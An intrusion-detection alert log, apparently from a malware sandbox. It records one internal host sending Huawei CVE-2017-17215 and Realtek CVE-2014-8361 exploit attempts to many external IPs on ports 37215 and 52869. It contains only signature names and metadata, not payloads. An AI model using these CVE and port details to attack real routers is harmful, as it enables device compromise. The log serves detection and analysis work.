Timestamp:	07/20/24-23:01:41.702437
SID:	2831300
Source Port:	36972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.70.24.118

Timestamp:	07/20/24-23:01:07.061779
SID:	2829579
Source Port:	40284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.206.232.47

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	33456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.95.219

Timestamp:	07/20/24-23:01:06.991143
SID:	2829579
Source Port:	55808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.189.109

Timestamp:	07/20/24-23:00:57.221301
SID:	2829579
Source Port:	49974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.129.29

Timestamp:	07/20/24-23:01:32.034562
SID:	2829579
Source Port:	33016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.209.32.105

Timestamp:	07/20/24-23:01:42.699598
SID:	2831300
Source Port:	43810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.250.122.217

Timestamp:	07/20/24-23:01:53.863938
SID:	2027339
Source Port:	58594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.136.141.197

Timestamp:	07/20/24-23:01:08.611391
SID:	2027339
Source Port:	48150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.17.248.200

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	32934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.227.86

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	52556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:48.490989
SID:	2027339
Source Port:	58100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.73.249.89

Timestamp:	07/20/24-23:01:45.096837
SID:	2831300
Source Port:	41926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.228.70.58

Timestamp:	07/20/24-23:01:26.156407
SID:	2025132
Source Port:	38898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.144.207.10

Timestamp:	07/20/24-23:01:44.730531
SID:	2025132
Source Port:	45796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.208.87.26

Timestamp:	07/20/24-23:01:40.319856
SID:	2835222
Source Port:	41910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.255.118

Timestamp:	07/20/24-23:01:21.909111
SID:	2835222
Source Port:	57128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.129.60.246

Timestamp:	07/20/24-23:01:46.810790
SID:	2027339
Source Port:	45350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.6.1.136

Timestamp:	07/20/24-23:01:42.656154
SID:	2027339
Source Port:	60622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.220.55.191

Timestamp:	07/20/24-23:01:45.164161
SID:	2027339
Source Port:	42482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.193.168

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	59012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.90.49.252

Timestamp:	07/20/24-23:01:43.877765
SID:	2025132
Source Port:	46094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.94.137.105

Timestamp:	07/20/24-23:01:01.494643
SID:	2025132
Source Port:	55240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.125.123.117

Timestamp:	07/20/24-23:01:26.019285
SID:	2025132
Source Port:	58760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.45.44.116

Timestamp:	07/20/24-23:01:44.954688
SID:	2027339
Source Port:	36322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.144.175.212

Timestamp:	07/20/24-23:01:24.883172
SID:	2835222
Source Port:	39746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.17.30

Timestamp:	07/20/24-23:01:40.321965
SID:	2835222
Source Port:	53252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.81.156.141

Timestamp:	07/20/24-23:01:49.387850
SID:	2027339
Source Port:	50492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.99.39.216

Timestamp:	07/20/24-23:01:55.594888
SID:	2831300
Source Port:	41116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.243.228

Timestamp:	07/20/24-23:01:20.124696
SID:	2835222
Source Port:	42616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.78.0.230

Timestamp:	07/20/24-23:01:43.571815
SID:	2027339
Source Port:	44764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.119.209.224

Timestamp:	07/20/24-23:01:47.092270
SID:	2027339
Source Port:	57310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.81.102.7

Timestamp:	07/20/24-23:01:25.347089
SID:	2025132
Source Port:	45246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.6.144.179

Timestamp:	07/20/24-23:01:43.621955
SID:	2027339
Source Port:	40832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.37.139.58

Timestamp:	07/20/24-23:01:02.275811
SID:	2025132
Source Port:	37202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.122.117.242

Timestamp:	07/20/24-23:01:44.099799
SID:	2027339
Source Port:	43384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.179.7.146

Timestamp:	07/20/24-23:01:04.085431
SID:	2829579
Source Port:	37978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.248.56.62

Timestamp:	07/20/24-23:01:42.486106
SID:	2025132
Source Port:	32964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.82.126.36

Timestamp:	07/20/24-23:01:42.985200
SID:	2027339
Source Port:	48044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.218.79.196

Timestamp:	07/20/24-23:01:43.921490
SID:	2027339
Source Port:	52538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.35.187.229

Timestamp:	07/20/24-23:01:49.356902
SID:	2027339
Source Port:	39898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.23.56.129

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	54948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.186.230.20

Timestamp:	07/20/24-23:01:42.622797
SID:	2027339
Source Port:	55116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.239.1.240

Timestamp:	07/20/24-23:01:31.318206
SID:	2831300
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.156.124.10

Timestamp:	07/20/24-23:01:42.479337
SID:	2027339
Source Port:	45740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.216.198.203

Timestamp:	07/20/24-23:01:43.380019
SID:	2831300
Source Port:	52180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 93.63.209.119

Timestamp:	07/20/24-23:01:11.632393
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.131.100.211

Timestamp:	07/20/24-23:01:48.931855
SID:	2027339
Source Port:	46010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.17.98.184

Timestamp:	07/20/24-23:00:59.187842
SID:	2835222
Source Port:	52234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.59.174

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	59220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.67.148

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	49030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 58.150.96.208

Timestamp:	07/20/24-23:01:00.634292
SID:	2829579
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.79.31.157

Timestamp:	07/20/24-23:01:41.321505
SID:	2025132
Source Port:	44928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.105.214

Timestamp:	07/20/24-23:01:27.650505
SID:	2835222
Source Port:	51726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.225.60.182

Timestamp:	07/20/24-23:01:34.060991
SID:	2835222
Source Port:	39904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 191.219.30.38

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	58788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.80.178.96

Timestamp:	07/20/24-23:01:02.735576
SID:	2025132
Source Port:	36248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.60.95.77

Timestamp:	07/20/24-23:01:27.649775
SID:	2835222
Source Port:	33728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.206.46.127

Timestamp:	07/20/24-23:01:42.588824
SID:	2027339
Source Port:	33420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.139.241.135

Timestamp:	07/20/24-23:01:44.306318
SID:	2027339
Source Port:	39932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.242.14.128

Timestamp:	07/20/24-23:01:45.188773
SID:	2027339
Source Port:	40180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.130.242.221

Timestamp:	07/20/24-23:01:25.608031
SID:	2025132
Source Port:	43532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.152.115.130

Timestamp:	07/20/24-23:01:45.933453
SID:	2027339
Source Port:	33282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.103.184.164

Timestamp:	07/20/24-23:01:48.386032
SID:	2025132
Source Port:	41382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.171.193

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	59238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.66.181.144

Timestamp:	07/20/24-23:01:51.290015
SID:	2025132
Source Port:	43800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.229.130.40

Timestamp:	07/20/24-23:01:12.811667
SID:	2027339
Source Port:	36698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.204.90.199

Timestamp:	07/20/24-23:01:45.072641
SID:	2027339
Source Port:	42140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.56.71

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	49292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.195.26.201

Timestamp:	07/20/24-23:01:44.036421
SID:	2027339
Source Port:	35630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.51.73.237

Timestamp:	07/20/24-23:01:47.995202
SID:	2027339
Source Port:	57242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.218.81.136

Timestamp:	07/20/24-23:01:54.037758
SID:	2027339
Source Port:	58232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.46.200

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	51926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:46.817503
SID:	2025132
Source Port:	39336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.58.83.134

Timestamp:	07/20/24-23:00:59.154068
SID:	2835222
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.233.245.194

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.91.121.224

Timestamp:	07/20/24-23:01:44.489022
SID:	2831300
Source Port:	35434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:55.870348
SID:	2027339
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.49.44.101

Timestamp:	07/20/24-23:01:12.813695
SID:	2027339
Source Port:	42064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.203.130

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	58978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.231.204.102

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	56934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.59.132.204

Timestamp:	07/20/24-23:01:47.902509
SID:	2027339
Source Port:	44290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.207.71.238

Timestamp:	07/20/24-23:01:45.175511
SID:	2027339
Source Port:	52488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.189.251.198

Timestamp:	07/20/24-23:01:44.155894
SID:	2831300
Source Port:	43802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.195.227.25

Timestamp:	07/20/24-23:01:43.946379
SID:	2025132
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.190.62.115

Timestamp:	07/20/24-23:01:08.597662
SID:	2027339
Source Port:	36710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.206.57.165

Timestamp:	07/20/24-23:01:59.799089
SID:	2025132
Source Port:	44900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:47.807536
SID:	2027339
Source Port:	37344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.213.222.122

Timestamp:	07/20/24-23:01:47.918473
SID:	2025132
Source Port:	39424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.110.226.143

Timestamp:	07/20/24-23:00:57.220949
SID:	2835222
Source Port:	53130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.61.198.111

Timestamp:	07/20/24-23:01:41.245522
SID:	2027339
Source Port:	57362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.103.140.112

Timestamp:	07/20/24-23:01:41.290518
SID:	2027339
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.204.82.212

Timestamp:	07/20/24-23:01:41.912337
SID:	2831300
Source Port:	42548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.38.202.199

Timestamp:	07/20/24-23:01:56.246775
SID:	2025132
Source Port:	59676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.49.240.179

Timestamp:	07/20/24-23:01:11.822392
SID:	2835222
Source Port:	46852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.9.101.249

Timestamp:	07/20/24-23:01:46.444461
SID:	2831300
Source Port:	52970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.173.198.51

Timestamp:	07/20/24-23:01:54.672544
SID:	2831300
Source Port:	34852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.27.209.75

Timestamp:	07/20/24-23:01:47.377081
SID:	2831300
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.51.221.45

Timestamp:	07/20/24-23:01:53.607815
SID:	2831300
Source Port:	59936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.52.255

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	56538
Destination Port:	37215
